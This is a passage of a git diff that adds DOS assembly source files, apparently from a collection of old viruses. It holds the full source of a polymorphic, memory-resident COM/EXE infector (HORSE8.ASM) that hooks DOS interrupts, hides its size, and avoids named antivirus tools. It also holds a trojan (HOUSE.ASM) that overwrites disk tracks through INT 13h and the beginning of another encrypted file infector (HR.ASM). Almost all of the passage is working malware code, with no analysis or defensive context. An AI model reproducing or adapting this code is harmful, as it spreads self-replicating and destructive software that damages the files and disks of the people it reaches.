cs:[strg-begin] + stosw + pop ax + + or ah,ah + jz s3 + + cmp ah,24d + jb s1 +s3: + neg byte ptr cs:[y-begin] +s1: + or al,al + jz s4 + + cmp al,79d + jb s2 +s4: + neg byte ptr cs:[x-begin] +s2: + mov ah,byte ptr cs:[y-begin] + mov al,byte ptr cs:[x-begin] + add byte ptr cs:[pos+1-begin],ah + add byte ptr cs:[pos-begin],al + mov ax,word ptr cs:[pos-begin] + call comp + mov ax,es:[di] + mov word ptr cs:[strg-begin],ax + mov es:[di],0f07 + pop es + pop di + pop ax + sti + iret +comp: + push ax + push bx + sub bh,bh + mov bl,al + mov al,160d + mul ah + add ax,bx + add ax,bx + mov di,ax + pop bx + pop ax + ret +shop: + push ax + push ds + mov byte ptr cs:[x-begin],0ff + mov byte ptr cs:[y-begin],0ff + mov word ptr cs:[pos-begin],1013 + mov ax,0003 + int 10 + sub ax,ax + mov ds,ax + cli + mov [1c*4],offset e1-begin + mov [1c*4+2],cs + sti + pop ds + pop ax + ret +clearr: + sub ax,ax + sub bx,bx + sub cx,cx + sub dx,dx + sub si,si + sub di,di + sub bp,bp + ret + +db 666d ;Foolish ?!! -> dw 666d + +db 55,0AA + +endcode label word + + current_21h dd ? + current_08h dd ? + org_2fh dd ? + org_13h dd ? + org_21h dd ? + flag db ? + veri db ? + handle dw 0ffff + fname db 8+3 dup (?) + function db ? + pos dw ? + x db ? + y db ? + strg dw ? + counter dw ? + +buffer label word \ No newline at end of file diff --git a/h/HORSE8.ASM b/h/HORSE8.ASM new file mode 100755 index 0000000..325b35f --- /dev/null +++ b/h/HORSE8.ASM @@ -0,0 +1,1366 @@ + + .radix 16 + + sub bl,bl + mov cx,offset msg-calldos-2 + mov si,offset calldos + cld +lpp: + lodsb + xor bl,al + loop lpp + mov byte ptr [checksum],bl + + mov bp,offset adjust + call install1 + mov dx,offset Hellomsg + mov ah,9 + int 21 + int 20 + +Hellomsg db 0a,0dh,'OK friend...',0a,0dh,'$' + + Virus_lenght equ endcode-adjust + alllen equ buffer-adjust + + adjust label word + + new_addr dd 0 +last: + my_count dw 0 + + checksum db 0 + +;******************************************************************* +; * +; This is the program entry.... * +; * +;******************************************************************* + +Start_Virus: + +First_instr label word + +old label dword ; + + cli + push ax + + call nextline + +nextline: + +popreg label byte + + + db 01011000b ;pop reg + +pushreg label byte + + db 01010000b ;push reg +f_g: + + db 10000001b ;add reg,value + +addtoreg label byte + + db 11000000b ;reg + + dw offset codedstart-nextline ;value + +loadcount label byte + + db 10111000b ;mov reg,value + dw offset endcode-Start_Virus ;value + +where: + +decode: + + db 002e ;xor byte ptr cs:[reg+0],value + db 10000000b + +xorreg label byte + + db 70 + + db 00 + +xorvalue label byte + + db 00 + +incmain label byte + + db 01000000b ;inc reg + +deccount label byte + + db 01001000b ;dec reg + + jnz decode + +codedstart: + + pop bp + + jmp codedstart1 + +;************************************************** +; call next * +;next: * +; pop *reg* * +; push *reg* * +; add *reg*,codestart-nextline * +; mov *countreg*,endcode-codedstart * +;decode: * +; xor byte ptr cs:[*reg*+0],xorvalue * +; inc *reg* * +; dec *countreg* * +; jnz decode * +; * +; *reg*=index register,*countreg*=register * +;************************************************** + +calldos: + + pushf + call dword ptr cs:[old-adjust] + ret + + +give_him: + + push bp + mov bp,sp + push ax + push si ;you can't use this function illegally... + push ds + lds si,[bp+2] + lodsw + sub ax,0C008 + jz me + cli + hlt +me: + pop ds + pop si + pop ax + pop bp + + cmp byte ptr cs:[last-adjust],0FF ;Already got? + je gotten + cmp byte ptr cs:[f_g-adjust],0FF + jne gotten +all_ok: + mov es,word ptr cs:[where-adjust] + mov byte ptr cs:[last-adjust],0FF + iret + +go_out2: + jmp out + +gotten: + xchg ah,al + iret + +FF_old1: + call calldos + jmp FF_old + +FF_new1: + call calldos + jmp FF_new + + +res: + cmp ax,0FA01h + je give_him + + cmp ah,11 + je FF_old1 + cmp ah,12 + je FF_old1 + cmp ah,4e + je FF_new1 + cmp ah,4f + je FF_new1 + cmp ax,4b00 + jne go_out2 + cmp byte ptr cs:[f_g-adjust],0FF + je go_out2 + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + push ds + mov ah,62 + call calldos + mov ds,bx + cmp bx,[16] + pop ds + jne notthis + + call get + mov bx,word ptr cs:[last-adjust] + mov ds,bx + cmp [0001],bx + jb notthis + inc bx + push word ptr [0001] + mov es,bx + mov bx,[0003] + add bx,130 + mov ah,4ah + call calldos + pop word ptr [0001] + jnc allok +notthis: + jmp notnow +allok: + mov byte ptr cs:[f_g-adjust],0FF + lds si,cs:[new_addr-adjust] + add si,offset calldos-adjust + sub bl,bl + mov cx,offset msg-calldos-2 + cld +check: + lodsb + xor bl,al + loop check + cmp bl,byte ptr cs:[checksum-adjust] + jne notnow + mov ax,0FA01 + int 21 + or al,al + sub di,di + lds si,cs:[new_addr-adjust] + mov cx,Virus_lenght + push cx + push si + push ds + rep movsb + mov bx,es + pop es + pop di + pop cx + sub al,al + rep stosb + push cs + mov ax,offset notnow2-adjust + push ax + push bx + mov ax,offset Set_Vectors-adjust + push ax + retf + +notnow2: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + int 21 + db 0ca,2,0 ;retf 2 + +notnow: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + +out: + jmp dword ptr cs:[old-adjust] + +get: + push bx + push ds + push es + + mov ah,52h + call calldos + mov bx,es:[bx-02] +search: + mov ds,bx + inc bx + add bx,[0003] + mov es,bx + cmp byte ptr es:[0000],'Z' + jne search + + mov word ptr cs:[last-adjust],ds + mov word ptr cs:[where-adjust],bx + + pop es + pop ds + pop bx + ret + +FF_old: + push ax + push bx + push dx + push es + + or al,al + jnz Go_Out_ ;if error + + mov ah,2f ;get DTA address + call calldos + + cmp byte ptr es:[bx],0ff + jne standart + add bx,7 + +standart: + mov al,byte ptr es:[bx+30d-7] ;Seconds in al + and al,31d ;Mask seconds + cmp al,60d/2 ;Seconds=60? + jne Go_Out_ + and byte ptr es:[bx+30d-7],11100000b + mov ax,es:[bx+36d-7] + mov dx,es:[bx+38d-7] ;Check File size + sub ax,Virus_lenght + sbb dx,0 + jb Go_Out_ + + +Adjust_Size: + + mov es:[bx+28d+1],ax + mov es:[bx+28d+2+1],dx + +Go_Out_: + + pop es ;Return to caller + pop dx + pop bx + pop ax + iret + +FF_new: + pushf + push ax + push bx + push dx ;fuck again + push es + jc Go_Out_1 + + mov ah,2f + call calldos + + mov al,es:[bx+22d] + and al,31d + cmp al,60d/2 + jne Go_Out_1 + and byte ptr es:[bx+22d],11100000b + mov ax,es:[bx+26d] + mov dx,es:[bx+28d] + sub ax,Virus_lenght + sbb dx,0 + jb Go_Out_1 + +Adjust_Size1: + + mov es:[bx+26d],ax + mov es:[bx+28d],dx + +Go_Out_1: + + pop es + pop dx + pop bx + pop ax ; Dummy proc far + popf ; ret 2 + db 0ca,2,0 ;retf 2 ; Dummy endp => BUT too long... + +endinst label word + +codedstart1: + + sti + pop ax + +install: + + sub bp,offset nextline-adjust + +install1: + + cld ;Clear direction flag + push ax ;Save some registres + push es + push ds + + mov ax,0FA01 + int 21 + or al,al + jz do_dob + jmp install_ok +do_dob: + push es + pop ds + mov ax,[0002] + mov cx,1000 + sub ax,cx + mov es,ax + sub di,di + call SearchZero + jc Dont_copy + mov si,bp + mov cx,alllen + db 2e + rep movsb + +Dont_copy: + + sub ax,ax + mov ds,ax + mov ax,[21*4] + mov word ptr cs:[bp+old-adjust],ax + mov ax,[21*4+2] + mov word ptr cs:[bp+old-adjust+2],ax + mov ah,52 + int 21 + push es + mov es,es:[bx+14] + push es:[2] + sub di,di + mov si,bp + mov cx,endinst-adjust + db 2e + rep movsb + pop ax + pop ds + mov [bx+14],ax + mov ds,cx + mov [21*4],offset res-adjust + mov [21*4+2],es + jcxz Run_The_Program + +install_ok: + + cmp ax,01FAh + je Run_The_Program + mov word ptr cs:[bp+handle-adjust],0ffff ;set handle_save + mov si,bp + sub di,di + mov cx,alllen + db 2e + rep movsb + push cs + mov ax,Run_The_Program-adjust + add ax,bp + push ax + push es + mov ax,offset Set_Vectors-adjust ;Set vectors + push ax + retf + +SearchZero: + + sub ax,ax +Again: + inc di + push cx + push di + mov cx,alllen + repe scasb + pop di + jz FoundPlace + pop cx + loop Again + stc + ret + +FoundPlace: + + pop cx + mov word ptr cs:[bp+new_addr-adjust],di + mov word ptr cs:[bp+new_addr-adjust+2],es + clc + ret + +Run_The_Program: + + add bp,offset First_18-adjust + pop ds ;Restore saved ds,es,ax + pop es ;ds=es=PSP + pop ax + mov ax,'ZM' + cmp cs:[bp],ax ;Run the infected program + je run_exe + xchg ah,al + cmp cs:[bp],ax + je run_exe + jne Run_COM_File +run_exe: + mov cx,ds ;Calculate load segment + add cx,0010 + mov bx,cx + add cx,cs:[bp+16] ;Calculate CS value + add bx,cs:[bp+0e] ;Calculate SS value + mov ss,bx ;Run .EXE program + mov sp,word ptr cs:[bp+10] + push cx + push word ptr cs:[bp+14] + retf + +Run_COM_File: + + mov di,0100 + push di + mov si,bp + movsb ;Restore the first 3 bytes + movsw ;Run .COM program + ret + + db ' !' + +INT_21h_Entry_Point: + + cmp ah,3ch ;Create (3.X) + je create + cmp ah,5bh + je create + + cmp ah,6ch + jne not_create ;Create (4.X) + test bl,1 + jz not_create + jnz create + +not_create: + + call pusha + + mov byte ptr cs:[function-adjust],ah + + cmp ah,6ch ;Open (4.X) + je create_ + + cmp ah,3dh + je Function_4Bh + + cmp ah,3e ;Close + je close_ + + cmp ax,4b00 ;Exec + je Function_4Bh + +Return_Control: + + call popa + +Go_out: + jmp dword ptr cs:[current_21h-adjust] ;go to the old int 21 + +create_: + + or bl,bl ;Create file? + jnz Return_Control + mov dx,si + +Function_4Bh: + + mov ax,3d00h + call Infect_It + jmp Return_Control + +create: + cmp word ptr cs:[handle-adjust],0ffff + jne Go_out + call Call_Original_INT_21h + mov word ptr cs:[handle-adjust],ax + jnc Error + mov word ptr cs:[handle-adjust],0ffff +Error: +; retf 2 + db 0ca,2,0 + +close_: + cmp word ptr cs:[handle-adjust],0ffff + je Return_Control + cmp bx,word ptr cs:[handle-adjust] + jne Return_Control + mov ah,45 + call Infect_It + mov word ptr cs:[handle-adjust],0ffff + jmp Return_Control + + ;****************************************** + ; * + ; This infects the programs... * + ; * + ;****************************************** + +Infect_It: + + call Call_Original_INT_21h ;this is the infecting part + jnc No_error + ret + +No_error: + + xchg ax,bp + + mov ax,0200 + push ax + popf + + mov byte ptr cs:[flag-adjust],0 + + mov ah,54 + call Call_Original_INT_21h + mov byte ptr cs:[veri-adjust],al + cmp al,1 ;Switch off verify... + jne Go_On_Setting + mov ax,2e00 + call Call_Original_INT_21h + +Go_On_Setting: + + + mov ax,3513 + call Call_Original_INT_21h + push bx + push es + + mov word ptr cs:[current_13h-adjust],bx + mov word ptr cs:[current_13h-adjust+2],es + + mov ah,25 + mov dx,INT_13h_entry-adjust ;Set int 13h + push cs + pop ds + call Call_Original_INT_21h + + mov ax,3524 + call Call_Original_INT_21h + push bx + push es + + mov ah,25 + mov dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...). + call Call_Original_INT_21h + + push cs + push cs + pop ds + pop es + mov dx,offset DOS_13h-adjust + mov bx,dx ;Set New DOS int 13h + mov ah,13 + call Call_Original_INT_2Fh + + push bx + push es + push dx + push ds + + push cs + pop ds + + xchg bx,bp + push bx + mov ax,1220 + call Call_Original_INT_2Fh + mov bl,es:[di] ;Remember the good old V512 ? + mov ax,1216 + call Call_Original_INT_2Fh + pop bx + add di,11 + + mov byte ptr es:[di-15d],2 + mov ax,es:[di] + mov dx,es:[di+2] + cmp ax,3000d + sbb dx,0 + jb Not_good +Go_on: + cmp byte ptr cs:[function-adjust],3dh + je Scan_name + cmp byte ptr cs:[function-adjust],6ch + jne Dont_Scan_Name + +Scan_name: + + push di + add di,0f + mov si,offset fname-adjust ;wasn't that the last opened file? + cld + mov cx,8+3 + rep cmpsb + pop di + je Not_good + +Dont_Scan_Name: + + cmp es:[di+18],'MO' + jne Check_For_EXE ;check for .COM file + cmp byte ptr es:[di+17],'C' + jne Check_For_EXE + jmp com + +Check_For_EXE: + + cmp es:[di+18],'EX' + jne Not_good ;check for .EXE file + cmp byte ptr es:[di+17],'E' + je Check_For_Valid_EXE + +Not_good: + + jmp close + +Check_For_Valid_EXE: + + call Read_First_18 + cmp word ptr [si],'ZM' + je Valid_EXE ;check for valid .EXE file + cmp word ptr [si],'MZ' + jne Not_good + + Valid_EXE: + + cmp byte ptr es:[di+0f],'M' ;MAPMEM + je Not_good + cmp es:[di+0f],'RT' ;TRAPFILE + je Not_good + cmp es:[di+0f],'CS' ;SCAN.EXE + jne go_on_a + cmp es:[di+11],'NA' + je Not_good +go_on_a: + cmp es:[di+0f],'NA' ;ANTI****.*EXE + jne go_on_b + cmp es:[di+11],'IT' + je Not_good +go_on_b: + cmp es:[di+0f],'LC' ;CLEANNEW.EXE + jne low_mem? + cmp es:[di+11],'AE' + je Not_good + +Low_mem?: + cmp word ptr [si+0c],0ffff ;only low-mem .EXE + jne Not_good + +Low_Mem: + + mov cx,[si+16] + add cx,[si+8] ;Something common with EDDIE.. + mov ax,10 + mul cx + add ax,[si+14] + adc dx,0 + mov cx,es:[di] + sub cx,ax + xchg ax,cx + mov cx,es:[di+2] + sbb cx,dx + or cx,cx + jnz Not_Infected_EXE ;infected? + cmp ax,(endcode-Start_Virus) + jbe Not_good + +Not_Infected_EXE: + + mov ax,es:[di] + mov dx,es:[di+2] + + add ax,Virus_lenght + adc dx,0 + mov cx,200 ;(C) by Lubo & Jan... + div cx + mov [si+2],dx + or dx,dx + jz OK_MOD + inc ax + +OK_MOD: + mov [si+4],ax + mov ax,es:[di] + mov dx,es:[di+2] + + mov cx,10 + div cx + + sub ax,[si+8] + add dx,Start_Virus-adjust + adc ax,0 + mov [si+14],dx + mov [si+16],ax + add ax,(Virus_lenght)/16d+1 + mov [si+0eh],ax + mov [si+10],100 + write: + mov ax,5700 + call Call_Original_INT_21h + push cx + push dx + + sub cx,cx + mov es:[di+4],cx + mov es:[di+6],cx + mov cl,20 + xchg cl,byte ptr es:[di-0dh] + push cx + mov ah,40 ;this writes the first few bytes and glues the virus + mov dx,buffer-adjust + mov cx,18 + + call Call_Original_INT_21h + + call make_mutation + + push es + push di + push cs + pop es + mov di,si + sub si,si + mov cx,Virus_lenght + push di + rep movsb + pop di + add di,offset codedstart-adjust + mov al,byte ptr [xorvalue-adjust] + mov cx,offset endcode-codedstart + +codeit: + xor byte ptr [di],al + inc di + loop codeit + + pop di + pop es + + inc word ptr [my_count-adjust] + + mov ax,es:[di] + mov es:[di+4],ax + mov ax,es:[di+2] + mov es:[di+6],ax + call Check_For_COMMAND ;(C) + jne Dont_Adjust_Size + sub es:[di+4],Virus_lenght + +Dont_Adjust_Size: + + mov ah,40 + mov dx,offset buffer-adjust + mov cx,Virus_lenght + call Call_Original_INT_21h + + pop cx + mov byte ptr es:[di-0dh],cl + pop dx + pop cx + + cmp byte ptr cs:[flag-adjust],0ff + je Set_Time_and_Date +exit: + call Check_For_COMMAND + je Set_Time_and_Date + and cl,11100000b + or cl,60d/2 + +Set_Time_and_Date: + + mov ax,5701 + call Call_Original_INT_21h +close: + + mov ah,3e + call Call_Original_INT_21h + mov si,di + add si,0f + mov di,fname-adjust + push es + pop ds + push cs + pop es + mov cx,8+3 ;save the fname to a quit place + rep movsb + push cs + pop ds + + cmp byte ptr cs:[flag-adjust],0ff + jne Dont_Clear_Buffers + mov ah,0dh ;if error occured-clear disk buffers + + call Call_Original_INT_21h + +Dont_Clear_Buffers: + + cmp byte ptr cs:[veri-adjust],1 + jne Restore_Vectors + mov ax,2e01 + + call Call_Original_INT_21h + +Restore_Vectors: + + + pop ds + pop dx + pop es + pop bx + + mov ah,13 + call Call_Original_INT_2Fh + + sub ax,ax + mov ds,ax + pop [24*4+2] + pop [24*4] + pop [13*4+2] + pop [13*4] ;restore vectors and return + ret + + com: + test byte ptr es:[di-0dh],4 ;if it is a system file + jnz Not_OK_COM_File ;I had some problems here with + ;V1160 & V1776 (with the ball) + cmp es:[di],65535d-Virus_lenght*2-100 + ja Not_OK_COM_File + + cmp es:[di+0f],'RT' ;TRAPFILE + je Not_OK_COM_File + cmp byte ptr es:[di+0f],'M' ;MV.COM + je Not_OK_COM_File + + call Read_First_18 + mov ax,[si+10] ;CHECK IF THAT'S A TRAP FILE + cmp ax,[si+12] + je Not_OK_COM_File + cmp byte ptr [si],0E9 + jne OK_COM_file + mov ax,es:[di] + sub ax,[si+1] ;infected? + cmp ax,(endcode-Start_Virus+3) + jbe Not_OK_COM_File + +OK_COM_file: + + mov ax,es:[di] + add ax,Start_Virus-adjust-3 + call Check_For_COMMAND + jne Normally + sub ax,Virus_lenght + +Normally: + + mov byte ptr [si],0E9 + mov word ptr [si+1],ax + jmp write + +Not_OK_COM_File: + + jmp close + +Set_Vectors: + + sub ax,ax + mov ds,ax + + push [1*4] + push [1*4+2] ; <= (C) by N.Hacker. + + pushf + pushf + pushf + pushf + + mov byte ptr cs:[flag-adjust],ah + mov byte ptr cs:[my_flag-adjust],ah + mov word ptr cs:[limit-adjust],300 + mov word ptr cs:[mem_-adjust],org_21h-adjust + + mov [1*4],offset trap-adjust + mov [1*4+2],cs + + call set_trace + + mov ax,3521 + + call dword ptr [21h*4] + + mov word ptr cs:[current_21h-adjust],bx ;get old int 21 + mov word ptr cs:[current_21h-adjust+2],es + + mov byte ptr cs:[flag-adjust],0 + mov word ptr cs:[mem_-adjust],org_2fh-adjust + + call set_trace + + mov ax,1200 + + call dword ptr [2fh*4] ;do trace int 2f + + + mov byte ptr cs:[flag-adjust],0 + mov byte ptr cs:[my_flag-adjust],0FF + mov word ptr cs:[limit-adjust],0C800 + mov word ptr cs:[mem_-adjust],org_13h-adjust + + call set_trace + + sub ah,ah + + call dword ptr [13h*4] ;do trace int 13 + + mov byte ptr cs:[flag-adjust],0 + mov word ptr cs:[limit-adjust],0F000 + mov word ptr cs:[mem_-adjust],Floppy_org_13h-adjust + + call set_trace + + sub ah,ah + + call dword ptr [13h*4] + + pop [1*4+2] + pop [1*4] + + mov [21*4],offset INT_21h_Entry_Point-adjust ;set it + mov [21*4+2],cs + + retf + +set_trace: + + pushf + pop ax + or ax,100 + push ax + popf + ret + +trap: + push bp + mov bp,sp + push bx + push di + cmp byte ptr cs:[flag-adjust],0ff + je off + mov di,word ptr cs:[mem_-adjust] + mov bx,word ptr cs:[limit-adjust] + cmp [bp+4],bx + pushf + cmp byte ptr cs:[my_flag-adjust],0ff + jne It_Is_JA + + popf + jb Go_out_of_trap + jmp It_Is_JB + +It_Is_JA: + + popf + ja Go_out_of_trap + +It_Is_JB: + + mov bx,[bp+2] + mov word ptr cs:[di],bx + mov bx,[bp+4] + mov word ptr cs:[di+2],bx + mov byte ptr cs:[flag-adjust],0ff +off: + and [bp+6],0feff + +Go_out_of_trap: + + pop di + pop bx + pop bp + iret + + +Call_Original_INT_21h: + + pushf + call dword ptr cs:[org_21h-adjust] + ret + + + +Call_Original_INT_2Fh: + + pushf + call dword ptr cs:[org_2fh-adjust] + ret + +INT_24h_entry: + + mov al,3 + iret + +;************************** +; (C) by N.Hacker. * +; (bellow) * +;************************** + +INT_13h_entry: + + mov byte ptr cs:[next_flag-adjust],0 + + cmp ah,2 + jne Other + + cmp byte ptr cs:[function-adjust],03Eh + jne Dont_hide + + dec byte ptr cs:[next_flag-adjust] + inc ah + jnz Dont_hide + +Other: + + cmp ah,3 + jne Dont_hide + + cmp byte ptr cs:[flag-adjust],0ff + je no_error_ + + cmp byte ptr cs:[function-adjust],03Eh + je Dont_hide + + inc byte ptr cs:[next_flag-adjust] + dec ah + +Dont_hide: + + pushf + call dword ptr cs:[current_13h-adjust] + jnc no_error_ + mov byte ptr cs:[flag-adjust],0ff + +no_error_: + + clc + db 0ca,02,0 ;retf 2 + + +DOS_13h: + + cmp byte ptr cs:[next_flag-adjust],0 + je OK + + cmp ah,2 + je Next + cmp ah,3 + jne OK +Next: + cmp byte ptr cs:[next_flag-adjust],1 + jne Read + inc ah + jne OK +Read: + + dec ah +OK: + test dl,80 + jz Floppy + jmp dword ptr cs:[org_13h-adjust] +Floppy: + jmp dword ptr cs:[Floppy_org_13h-adjust] + + +Read_First_18: + + sub ax,ax + mov es:[di+4],ax + mov es:[di+6],ax + mov ah,3f + mov cx,18 + mov dx,buffer-adjust + mov si,dx + call Call_Original_INT_21h + call pusha + push cs + pop es + mov di,offset First_18-adjust + mov cx,18 + rep movsb + call popa + ret + +Check_For_COMMAND: + + cmp es:[di+0f],'OC' + jne Not_COMMAND + cmp es:[di+11],'MM' + jne Not_COMMAND + cmp es:[di+13],'NA' + jne Not_COMMAND ;check for command.com + cmp es:[di+15],' D' + jne Not_COMMAND + cmp es:[di+17],'OC' + jne Not_COMMAND + cmp byte ptr es:[di+19],'M' + +Not_COMMAND: + + ret + +pusha: + pop word ptr cs:[ret_addr-adjust] + pushf + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + jmp word ptr cs:[ret_addr-adjust] + +popa: + pop word ptr cs:[ret_addr-adjust] + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp word ptr cs:[ret_addr-adjust] + +make_mutation: + + sub ax,ax + mov ds,ax + mov ax,[046C] + or al,al + clc + jnz good_value + inc al + stc + +good_value: + + push cs + pop ds + + mov byte ptr [xorvalue-adjust],al + jnc well_ok + dec al + +well_ok: + + and al,0111b ;BX,SI,DI,BP + or al,0100b + + cmp al,0100b + jne okreg + inc al + +okreg: + + and byte ptr [popreg-adjust],11111000b + or byte ptr [popreg-adjust],al + + and byte ptr [addtoreg-adjust],11111000b + or byte ptr [addtoreg-adjust],al + + and byte ptr [incmain-adjust],11111000b + or byte ptr [incmain-adjust],al + + and byte ptr [pushreg-adjust],11111000b + or byte ptr [pushreg-adjust],al + + call adjustreg + + and byte ptr [xorreg-adjust],11111000b + or byte ptr [xorreg-adjust],al + + and ah,0011b ;AX,CX,DX + cmp ah,0011b ;00,01,02 + jne okreg2 + dec ah +okreg2: + + and byte ptr [loadcount-adjust],11111000b + or byte ptr [loadcount-adjust],ah + + and byte ptr [deccount-adjust],11111000b + or byte ptr [deccount-adjust],ah + + mov ax,word ptr [First_instr-adjust] + xchg ah,al + mov word ptr [First_instr-adjust],ax + + ret + + +adjustreg: + + cmp al,0011b + je abx + cmp al,0101b + je abp + cmp al,0110b + je asi + mov al,0101b + ret +abx: + mov al,0111b + ret +abp: + mov al,0110b + ret +asi: + mov al,0100b + ret + + +msg: + +First_18: + + ret + db 17 dup (?) + + +endcode label word + + current_21h dd ? + current_13h dd ? + org_2fh dd ? + org_13h dd ? + org_21h dd ? + Floppy_org_13h dd ? + flag db ? ;0ff if error occure + veri db ? + handle dw ? + fname db 8+3 dup (?) + function db ? + my_flag db ? + limit dw ? + mem_ dw ? + next_flag db ? + ret_addr dw ? + +buffer label word + + \ No newline at end of file diff --git a/h/HOUSE.ASM b/h/HOUSE.ASM new file mode 100755 index 0000000..05b5d6b --- /dev/null +++ b/h/HOUSE.ASM @@ -0,0 +1,88 @@ +; Trojan Horse Constructed with... +; The Trojan Horse Construction Kit, v1.00 +; Copyright(c) 1992, Stingray/VIPER +; A Viral Inclined Programming Experts Ring Programming Team Production. + +IDEAL +DOSSEG +MODEL small +STACK 256 +DATASEG +msg_1 db "",13,10 + db "This is a Trojain horse. Curtocy of White Shark! HA HA HA",13,10 + db "",13,10 + db "Mess with White Shark and you'll be eaten alive!",13,10 + db "",13,10 + db "",13,10 + db "",13,10 + db "",13,10 + db "",13,10 + db "",13,10 + db '$' +msg_2 db "",13,10 + db "You've been fucked! Curtocy of White Shark!",13,10 + db "",13,10 + db "Mess with White Shark and you'll be eaten alive!",13,10 + db "",13,10 + db "",13,10 + db "",13,10 + db "",13,10 + db "",13,10 + db "",13,10 + db '$' +vip db "}Ǿ}Ծ}¾}ŋ",106,103 + db "}Ǿ}}}щ}ӎ",106,103 + db "}}}Ͼ}}Ͼ}}ċ",106,103 +CODESEG +Start: + mov ax,@data + mov ds,ax + + mov ah,9 + mov dx,offset msg_1 + int 21h + mov dl,24 +aqui: + call fry + call fry + call fry + inc dl + cmp dl,1 + jne aqui + mov ah,9 + mov dx,offset msg_2 + int 21h + mov si,offset vip + call DeCrypt_Print + jmp Exit +PROC DeCrypt_Print + push ax + push dx +here: + lodsb + or al,al + je no_mas + xchg dl,al + sub dl,93 + mov ah,2 + int 21h + jmp short here +no_mas: + pop ax + pop dx + ret +ENDP DeCrypt_Print +PROC fry + push dx + mov ax,ds + mov es,ax + mov ax,0701h + mov ch,0 + int 13h + pop dx + ret +ENDP fry +Exit: + mov ax,4c00h + int 21h + END Start diff --git a/h/HR.ASM b/h/HR.ASM new file mode 100755 index 0000000..9f066a0 --- /dev/null +++ b/h/HR.ASM @@ -0,0 +1,412 @@ +;NAME: HR.DEC +;FILE SIZE: 0062Ch - 1580d +;START (CS:IP): 00100h +;CODE END: 0072Ch +;CODE ORIGIN: 00100h +;DATE: Sun Aug 02 17:20:02 1992 + +CODE SEGMENT BYTE PUBLIC 'CODE' +ASSUME CS:CODE,DS:CODE,ES:NOTHING,SS:NOTHING + +P00100 PROC + ORG 0100h + +START: JMP Short BEGIN +;--------------------------------------------------- + NOP +ENCRKEY:DB 0Ch,32h ; 32h may not be needed... ;OR AH,32 +BEGIN: CALL CRYPT ; Decrypt the virus + JMP H00520 +;--------------------------------------------------- +CRYPT: PUSH CX + MOV SI,OFFSET MESSAGE + MOV DI,SI + MOV CX,0766h + CLD +LOOP_1: LODSW + XOR AX,DS:ENCRKEY ;DS may not be needed + STOSW + DEC CX + JNZ LOOP_1 + POP CX + RET +;--------------------------------------------------- +INFECT: MOV DX,0100h ;Offset to begin at + MOV BX,DS:[HANDLE] ;BX=File handle + PUSH BX ;I don't know why, BX doesn't change. + MOV CX,062Ch ;CX=number of bytes to write + CALL CRYPT ;Encrypt before saving + POP BX ;I don't know why, BX doesn't change. + MOV AX,4000h ;AH = 40h, write to file. + INT 21h ;Infect the file. + PUSH BX ;Again, BX never changes. + CALL CRYPT ; . . . . . . . . . + POP BX + RET ;RET_Near +;--------------------------------------------------- +; This is the big, red, block letters that shows when it goes off. +MESSAGE: +DB 0Fh,10h,18h,19h,1Fh,"I'll be back..." +DB 18h,18h,14h,20h,20h,00Ch,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h +DB 14h,19h,05h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h +DB 20h,0DEh,10h,19h,05h,14h,19h,05h,0DEh,10h,20h,20h,14h,19h,06h +DB 0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h +DB 14h,19h,05h,0DEh,10h,20h,14h,19h,05h,0DEh,18h,20h,20h,0DEh,10h +DB 20h,14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h,14h,20h,20h +DB 0DEh,10h,19h,04h,14h,20h,20h,0DEh,10h,19h,05h,14h,19h,06h,16h,0DEh +DB 10h,20h,14h,19h,06h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,19h +DB 05h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h,14h,19h,06h,0DEh,18h,20h +DB 20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h +DB 04h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h,20h,0DEh,10h,19h,05h,14h,20h +DB 20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h +DB 20h,14h,20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h +DB 20h,16h,0DEh,10h,19h,04h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h,20h +DB 0DEh,10h,20h,20h,14h,20h,20h,16h,0DEh,18h,14h,19h,05h,0DEh,10h,20h +DB 14h,19h,05h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h,20h,0DEh +DB 10h,19h,05h,14h,20h,20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h +DB 20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h +DB 19h,05h,16h,0DEh,10h,20h,14h,19h,04h,0DEh,10h,20h,20h,14h,20h,20h +DB 0DEh,10h,20h,20h,14h,20h,20h,0DEh,18h,20h,20h,0DEh,10h,20h,14h,20h,20h +DB 0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h,20h,0DEh,10h,19h +DB 04h,14h,20h,20h,0DEh,10h,19h,05h,14h,19h,04h,0DEh,10h,19h,02h,14h +DB 19h,06h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h,04h,14h,20h,20h,16h +DB 0DEh,10h,20h,14h,20h,20h,0DEh,10h,19h,04h,14h,19h,04h,16h,0DEh,18h,14h +DB 20h,20h,0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h +DB 20h,14h,19h,05h,0DEh,10h,20h,14h,19h,06h,0DEh,10h,20h,14h,20h,20h,0DEh +DB 10h,20h,14h,20h,20h,0DEh,10h,20h,20h,14h,20h,20h,0DEh,10h,20h,20h,14h,20h,20h +DB 0DEh,10h,20h,14h,20h,20h,0DEh,10h,20h,14h,19h,05h,0DEh,10h,20h,14h,19h,05h,0DEh +DB 